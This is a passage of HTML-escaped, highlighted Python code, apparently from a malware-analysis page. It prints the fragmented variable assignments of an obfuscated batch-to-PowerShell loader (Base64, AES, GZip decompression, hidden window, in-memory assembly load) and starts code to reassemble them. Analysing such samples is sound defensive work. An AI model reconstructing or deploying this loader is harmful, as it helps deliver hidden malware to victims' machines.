&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SIQjFslpHA=comm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pibEdoDBbD=mNKM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TVsNOuCNZd= &amp;#39;&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yQujDHraSv= hid&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fVHBRsLNUl=&amp;#39;gni&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iREuYMPcTg=ct S&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uDsfTCYsro=g = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zwDBykiqZZ=den &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;weRTbbZPjT=tyle&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uwRWnyAikF=tS46&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bTHJpHTPMM=)($V&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TuqTvTpeOG=bn.D&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GWrDWSvoPL=W.Su&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KXapePmHCe=form&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eeacPrYshd=iW20&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XEcuUpquLQ=ress&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iCcGUuJxVn=.Dis&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WXWHLOygSe=gap.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XIAbFAgCIP=dows&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QzqEkBCLON=Lk);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pCjFJxRqgH=Conv&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TEtLFfgLmA=TMLk&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GzBAHPVuTq=] -j&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VUsEoebHks=(&amp;#39;2h&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YiVTQhqRnm=New-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kQQvXhxXIT=Mode&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RITIeDNkWx=$mNK&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LNwemqbftD=saBm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DCnzMxKRnm=ose(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ftaecaUnft=;$Nl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KhyyrSrcKr=&amp;#39;[-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QpDqsQAemY=rt]:&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RycUceHQZc=ck($&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QTBYjmNXEB=[Sys&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iKAAuWsbec=).Sp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UAnQUvXBfs=$bTM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zhsTKtujLg=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CpAQgSdzaC=Syst&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qIhOqqdyjR=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LmCknrHfoB=ach &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dlzhxQnMss=TBkD&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YJZmDySMUy=)($u&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gqUdnmSTUN=LGW &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tuAPcYGhzl=n/J7&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jxjvtHoTnR=tfdQ&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jpqWVBsCpx=;$Nl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HUAAetwukX=1..-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rVOFKTskYR=]::(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XzWakcViZI=ptor&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hNwOTmvEJo=gGVE&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MFpVhvZMMs=ptog&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YRqcyngfyU=$Bac&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uIWSZVpUHl=sion&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QGiWXkfFPy=);$B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JPOdGPAwht=/Ntk&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mxXhSCdBil=KMr.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TYbHmXrqgV=)) {&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kpEWZrtOzX=; };&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TypmIIEYJC=grap&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GEFNspgkfU=Obje&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;glRvzlEEoe=join&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JbFOJyRrBm=oL&amp;#39;[&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hwZKiiLqAE=LGW.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MrNTGKcbYu=n &amp;#39;&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XClTzcVMGM=join&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XqtgTmRIdO=em.C&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nMLIkcyFZj=&amp;#39;txe&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BrDOtQoojB=$uZO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LfngwmfRCb=fdQ.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jtkYEPXtKX=TllA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KAlyOryibJ=yste&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GJcpQprPXv=ionM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rofQqYizRu=-joi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UFSmCjquVd=rity&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SRYmoDJgcF=raph&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mFZJVdqlTD=[-1.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hbnAmGyJMk=gth)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hTTJOKGuzo=brea&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JenYfqHzBk=y.Cr&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DwiWdAaOiv=cm);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vPgKEvZmlQ===&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jgiQdwyxFg=rtS4&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qpUykKHwzb=(&amp;#39;%~f0&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GLwLVWewUj=eIfq&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MAPkvbWKbC=.Ass&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jugDlMdkcG=.Cry&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TiuQnZmosP=-1..&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EQAuBusyXb=q) {&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GTgGJngEbX=[IO.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yZlAoExoOn=O.En&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;sLNudRRtUX= $V&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WauWfrgGak=ment&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YmUoUKWAtR=ode]&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yOkBDuSVrl= if &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MJKqSlzRdg=VPbn&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;PmpGnAHBIo=, $u&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;cUDojRpXKx= [Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;svwZUufvHX=y.Pa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GDXqElqPYy=($Yi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ybHVOwcPrc= = [&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hIpFAiXGDz=m, 0&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;lfCLMrJHhW=gap &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;NXvoEmTmgu=1Mwd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DNNdkNfTiI=comp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kpzxAxFvLw=(&amp;#39;%*&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MsfoqNTDfI=ateD&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MmhvJKSdep=mory&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uVLEiIUjzw=prof&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;NvnNgHLBLJ=n7Lw&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;owRVWPJqcX=rity&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HlBVDpGgba=embl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SIneUaQPty=stem&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nogFGGEgdF=16] &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qsPTvcejTS=n = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wEZCzuPukj=[Sys&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rVuFsOUxnm=yste&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fLycQgNMii=oin &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KsuJogdoiJ= -no&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;djeIEnPaCg=tsWi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;brwOvSubJT=e = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TOqZKQRZli=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ls&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">txt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">tmp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
